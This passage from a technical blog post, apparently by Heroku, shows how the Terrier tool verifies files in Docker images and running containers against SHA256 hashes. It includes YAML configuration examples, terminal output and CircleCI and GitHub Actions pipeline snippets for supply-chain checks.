    - hash: 'cf734865dd344cd9b0b349cdcecd83f79a751150b5fd4926f976adddb93d902c'

The configuration above shows that we have changed the mode from image to container and we have added the path to our merged folder. We have kept the two hashes from the previous section.

If we run Terrier with this configuration from the location /var/lib/docker/overlay2/04f84ddd30a7df7cd3f8b1edeb4fb89d476ed84cf3f76d367e4ebf22cd1978a4/, we get the following output:

$ ./terrier
[+] Loading config: cfg.yml
[+] Analysing Container
[!] Found matching instance of '82bce4b98d7aaeb4f841a36f7141d540bb049f89219f9e377245a91dd3ff92dd' at: merged/usr/local/go/bin/go with hash:82bce4b98d7aaeb4f841a36f7141d540bb049f89219f9e377245a91dd3ff92dd

From the output above, we know that the container (b9e676fd7b09) does not contain the malicious Python package but it does contain an instance of the Golang binary which is located at merged/usr/local/go/bin/go.

Identifying and verifying specific files in containers

And as you might have guessed, Terrier can also be used to verify and identify files at specific paths in containers. To do this, we need the following:

Location of the container’s merged folder
A SHA256 hash of a specific file/s
The path and name of the specific file/s

The points above can be determined using the same procedures described in the previous sections. Below is an example Terrier config file that we could use to identify and verify components in a running container:

mode: container
path: merged
verbose: true
files:
  - name: '/usr/bin/curl'
    hashes:
      - hash: '9a43cb726fef31f272333b236ff1fde4beab363af54d0bc99c304450065d9c96'
  - name: '/usr/local/go/bin/go'
    hashes:
      - hash: '82bce4b98d7aaeb4f841a36f7141d540bb049f89219f9e377245a91dd3ff92dd'

If we run Terrier with the above config, we get the following output:

$ ./terrier
[+] Loading config: cfg.yml
[+] Analysing Container
[!] Found matching instance of '/usr/bin/curl' at: merged/usr/bin/curl with hash:9a43cb726fef31f272333b236ff1fde4beab363af54d0bc99c304450065d9c96
[!] Found matching instance of '/usr/local/go/bin/go' at: merged/usr/local/go/bin/go with hash:82bce4b98d7aaeb4f841a36f7141d540bb049f89219f9e377245a91
dd3ff92dd
[!] All components were identified: (2/2)
[!] All components were identified and verified: (2/2)
$ echo $?
0

From the output above, we can see that Terrier was able to successfully identify and verify all the files in the running container. The return code is also 0 which indicates a successful execution of Terrier.

Using Terrier with CI/CD

In addition to Terrier being used as a standalone CLI tool, Terrier can also be integrated easily with existing CI/CD technologies such as GitHub Actions and CircleCI. Below are two example configurations that show how Terrier can be used to identify and verify certain components of Docker files in a pipeline and prevent the pipeline from continuing if all verifications do not pass. This can be seen as an extra mitigation for supply-chain attacks.

Below is a CircleCI example configuration using Terrier to verify the contents of an image.

version: 2
jobs:
build:
  machine: true
  steps:
    - checkout
    - run:
       name: Build Docker Image
       command: |
             docker build -t builditall .
    - run:
       name: Save Docker Image Locally
       command: |
             docker save builditall -o builditall.tar
    - run:
       name: Verify Docker Image Binaries
       command: |
             ./terrier

Below is a Github Actions example configuration using Terrier to verify the contents of an image.

name: Go
on: [push]
jobs:
build:
  name: Build
  runs-on: ubuntu-latest
  steps:

  - name: Get Code
    uses: actions/checkout@master
  - name: Build Docker Image
    run: |
      docker build -t builditall .
  - name: Save Docker Image Locally
    run: |
      docker save builditall -o builditall.tar
  - name: Verify Docker Image Binaries
    run: |
      ./terrier

Conclusion

In this blog post, we have looked at how to perform multiple actions on Docker (and OCI) containers and images via Terrier. The actions performed allowed us to identify specific files according to their hashes in images and containers. The actions performed have also allowed us to identify and verify multiple components in images and containers. These actions performed by Terrier are useful when attempting to prevent certain supply-chain attacks.

We have also seen how Terrier can be used in a DevOps pipeline via GitHub Actions and CircleCI.

Learn more about Terrier on GitHub at https://github.com/heroku/terrier.